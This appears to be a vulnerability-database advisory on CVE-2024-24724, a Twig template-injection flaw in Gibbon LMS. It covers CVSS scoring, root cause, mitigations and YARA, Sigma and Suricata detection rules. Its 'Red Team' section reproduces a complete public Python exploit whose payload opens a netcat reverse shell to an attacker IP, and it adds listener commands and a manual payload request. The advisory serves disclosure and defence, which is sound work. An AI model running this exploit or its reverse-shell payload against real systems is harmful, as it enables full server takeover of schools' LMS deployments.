CVE-2024-24724
Executive Summary
CVE-2024-24724 is a critical Server-Side Template Injection (SSTI) vulnerability in Gibbon LMS (Learning Management System) through version 26.0.00. The flaw resides in the /modules/School%20Admin/messengerSettings.php endpoint, where user-supplied input is passed unsanitized to the Twig template engine. An authenticated attacker with at least "School Admin" privileges can inject arbitrary Twig syntax, leading to Remote Code Execution (RCE) on the underlying server. The public exploit leverages the filter('system') Twig filter to execute arbitrary shell commands, enabling full server compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Gibbon is a PHP-based application that relies on the Twig templating engine (a Composer package). The vulnerability is not in the Twig library itself but in how Gibbon uses it. No malicious package injection is involved; the attack vector is direct input manipulation within the application's own code.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): Low (L) - Requires authenticated access with School Admin role.
- User Interaction (UI): None (N) - No user action needed.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) - Full read access to server files and databases.
- Integrity (I): High (H) - Full write access to server files and databases.
- Availability (A): High (H) - Can disrupt service or destroy data.
CVSS Score: 8.8 (High)
Threat Level: Critical. The combination of low complexity, low privileges, and high impact makes this a high-priority vulnerability for any organization using Gibbon LMS.
Deep Dive & Mechanics
The vulnerability is a classic Server-Side Template Injection (SSTI) in the Twig template engine. The messengerSettings.php page allows administrators to configure a "signature template" for messages. This input is stored and later rendered by Twig without any sanitization or escaping.
Root Cause: The application uses Twig's render() function on user-controlled input. Twig, by default, allows access to PHP functions via filters like filter('system'), map, reduce, etc. An attacker can inject Twig syntax that calls these filters to execute arbitrary system commands.
Attack Flow:
- Authentication: The attacker logs in with valid School Admin credentials.
- Payload Injection: The attacker sends a POST request to
/modules/School%20Admin/messengerSettingsProcess.phpwith a malicioussignatureTemplateparameter containing Twig SSTI payload. - Payload Storage: The payload is stored in the database.
- Trigger: The attacker visits
/index.php?q=/modules/School%20Admin/messengerSettings.php&return=success0, which renders the stored template, executing the injected Twig code. - RCE: The Twig filter
filter('system')executes the attacker's command (e.g., a reverse shell).
Key Code Snippet (Vulnerable):
// In messengerSettings.php (conceptual)
$signatureTemplate = $_POST['signatureTemplate']; // No sanitization
$twig->render($signatureTemplate, $context); // Direct rendering
Vulnerable vs. Patched Code
Vulnerable Code (Gibbon <= 26.0.00):
// messengerSettingsProcess.php
$signatureTemplate = $_POST['signatureTemplate'] ?? '';
// No sanitization or escaping
$sql = "UPDATE gibbonSetting SET value='$signatureTemplate' WHERE name='signatureTemplate'";
$db->query($sql);
Patched Code (Hypothetical Fix):
// messengerSettingsProcess.php
$signatureTemplate = $_POST['signatureTemplate'] ?? '';
// Sanitize: strip all Twig syntax
$signatureTemplate = preg_replace('/\{\{.*?\}\}/', '', $signatureTemplate);
// Or use a sandboxed Twig environment
$twig = new \Twig\Environment($loader, [
'autoescape' => 'html',
'sandbox' => true,
]);
$twig->addExtension(new \Twig\Extension\SandboxExtension());
// Render with limited filters
$twig->render('template.html', ['signature' => $signatureTemplate]);
Note: As of this report, no official patch has been released. The above is a recommended mitigation.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Gibbon LMS v26.0.00 installed and accessible.
- Valid School Admin credentials (email/password).
- A listener on the attacker machine (e.g.,
nc -lvnp 4444).
Exploit Usage: The provided exploit script automates the entire attack chain.
# Exploit Title: Gibbon LMS v26.0.00 - SSTI vulnerability
# Date: 21.01.2024
# Exploit Author: SecondX.io Research Team(Islam Rzayev,Fikrat Guliev, Ali Maharramli)
# Vendor Homepage: https://gibbonedu.org/
# Software Link: https://github.com/GibbonEdu/core
# Version: v26.0.00
# Tested on: Ubuntu 22.0
# CVE : CVE-2024-24724
import requests
import re
import sys
def login(target_host, target_port,email,password):
url = f'http://{target_host}:{target_port}/login.php?timeout=true'
headers = {"Content-Type": "multipart/form-data; boundary=---------------------------174475955731268836341556039466"}
data = f"-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\ndefault\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n{email}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n{password}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"gibbonSchoolYearID\"\r\n\r\n025\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"gibboni18nID\"\r\n\r\n0002\r\n-----------------------------174475955731268836341556039466--\r\n"
r = requests.post(url, headers=headers, data=data, allow_redirects=False)
Session_Cookie = re.split(r"\s+", r.headers['Set-Cookie'])
if Session_Cookie[4] is not None and '/index.php' in str(r.headers['Location']):
print("login successful!")
return Session_Cookie[4]
def rce(cookie, target_host, target_port, attacker_ip, attacker_port):
url = f'http://{target_host}:{target_port}/modules/School%20Admin/messengerSettingsProcess.php'
headers = {"Content-Type": "multipart/form-data; boundary=---------------------------67142646631840027692410521651", "Cookie": cookie}
data = f"-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n/modules/School Admin/messengerSettings.php\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"enableHomeScreenWidget\"\r\n\r\nY\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"signatureTemplate\"\r\n\r\n{{{{['rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f']|filter('system')}}}}\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"messageBcc\"\r\n\r\n\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"pinnedMessagesOnHome\"\r\n\r\nN\r\n-----------------------------67142646631840027692410521651--\r\n"
r = requests.post(url, headers=headers, data=data, allow_redirects=False)
if 'success0' in str(r.headers['Location']):
print("Payload uploaded successfully!")
def trigger(cookie, target_host, target_port):
url = f'http://{target_host}:{target_port}/index.php?q=/modules/School%20Admin/messengerSettings.php&return=success0'
headers = {"Cookie": cookie}
print("RCE successful!")
r = requests.get(url, headers=headers, allow_redirects=False)
if __name__ == '__main__':
if len(sys.argv) != 7:
print("Usage: script.py <target_host> <target_port> <attacker_ip> <attacker_port> <email> <password>")
sys.exit(1)
cookie = login(sys.argv[1], sys.argv[2],sys.argv[5],sys.argv[6])
rce(cookie, sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
trigger(cookie, sys.argv[1], sys.argv[2])
Execution:
# Start a listener on attacker machine
nc -lvnp 4444
# Run the exploit
python3 exploit.py <target_ip> 80 <attacker_ip> 4444 admin@school.com password123
Manual Payload Example:
POST /modules/School%20Admin/messengerSettingsProcess.php HTTP/1.1
Host: target.com
Cookie: gibbonSessionId=...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="signatureTemplate"
{{['id']|filter('system')}}
------WebKitFormBoundary--
Blue Team
Detection Steps:
- Monitor HTTP POST requests to
/modules/School%20Admin/messengerSettingsProcess.phpwith unusualsignatureTemplatevalues containing{{orfilter(. - Check for outbound connections from the Gibbon server to unknown IPs on common reverse shell ports (4444, 1337, 9999).
- Audit the
gibbonSettingtable in the database for suspicioussignatureTemplatevalues. - Review web server logs for requests to
/index.php?q=/modules/School%20Admin/messengerSettings.php&return=success0immediately after a settings change.
Lab Setup:
- Target: Ubuntu 22.04 VM with Gibbon v26.0.00 installed.
- Attacker: Kali Linux VM.
- Network: Both VMs on the same isolated network (e.g., NAT Network in VirtualBox).
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound connections from the Gibbon server to attacker IPs on ports 4444, 1337, 9999, or 8080.
- HTTP POST requests to
/modules/School%20Admin/messengerSettingsProcess.phpwithContent-Type: multipart/form-dataand asignatureTemplateparameter containing{{orfilter(.
File System IOCs:
- Presence of
/tmp/f(named pipe) on the server. - Unusual files in
/tmp/(e.g.,f,sh). - Modified
gibbonSettingtable entries wherename='signatureTemplate'contains Twig syntax.
Log IOCs:
- Web server access logs showing requests to
/modules/School%20Admin/messengerSettingsProcess.phpwith asignatureTemplateparameter. - PHP error logs containing
Twig\Error\SyntaxErrororTwig\Error\RuntimeError.
Detection Engineering
YARA Rule
rule CVE_2024_24724_Gibbon_SSTI {
meta:
description = "Detects Gibbon LMS SSTI payload in HTTP requests or logs"
author = "Valters IT"
date = "2024-01-22"
reference = "CVE-2024-24724"
strings:
$ssti_payload1 = "{{" ascii wide nocase
$ssti_payload2 = "|filter('system')" ascii wide nocase
$ssti_payload3 = "|filter(\"system\")" ascii wide nocase
$ssti_payload4 = "signatureTemplate" ascii wide nocase
condition:
all of ($ssti_payload*) and filesize < 10KB
}
Sigma Rule
title: Gibbon LMS SSTI Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to messengerSettingsProcess.php with SSTI payload
author: Valters IT
date: 2024/01/22
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-24724
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
cs-uri-query|contains: '/modules/School%20Admin/messengerSettingsProcess.php'
payload:
cs-uri-query|contains: 'signatureTemplate'
cs-uri-query|contains: '{{'
condition: selection and payload
falsepositives:
- Legitimate use of Twig syntax in signature (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-24724 Gibbon LMS SSTI Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/modules/School%20Admin/messengerSettingsProcess.php"; http_uri; content:"signatureTemplate"; http_client_body; content:"{{"; http_client_body; content:"|filter"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the messenger settings feature if not in use. Remove or restrict access to
/modules/School%20Admin/messengerSettings.php. - Apply input sanitization to the
signatureTemplatefield. Strip all Twig syntax ({{,}},{%,%}) before storage. - Upgrade Twig to the latest version and enable the Sandbox extension with a whitelist of allowed filters (e.g.,
escape,date). - Implement Web Application Firewall (WAF) rules to block requests containing
{{and|filter(in POST parameters.
Long-Term Fix:
- The vendor must release a patch that either:
- Removes the Twig rendering of user input entirely.
- Uses a static template and passes user input as variables only (e.g.,
$twig->render('template.html', ['signature' => $signature])).
Workaround:
- Modify the source code to escape the input before rendering:
$signatureTemplate = htmlspecialchars($_POST['signatureTemplate'], ENT_QUOTES, 'UTF-8');
Valters IT
{/* [Security Hash: 9C99E60405EC56D0F13E7818] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.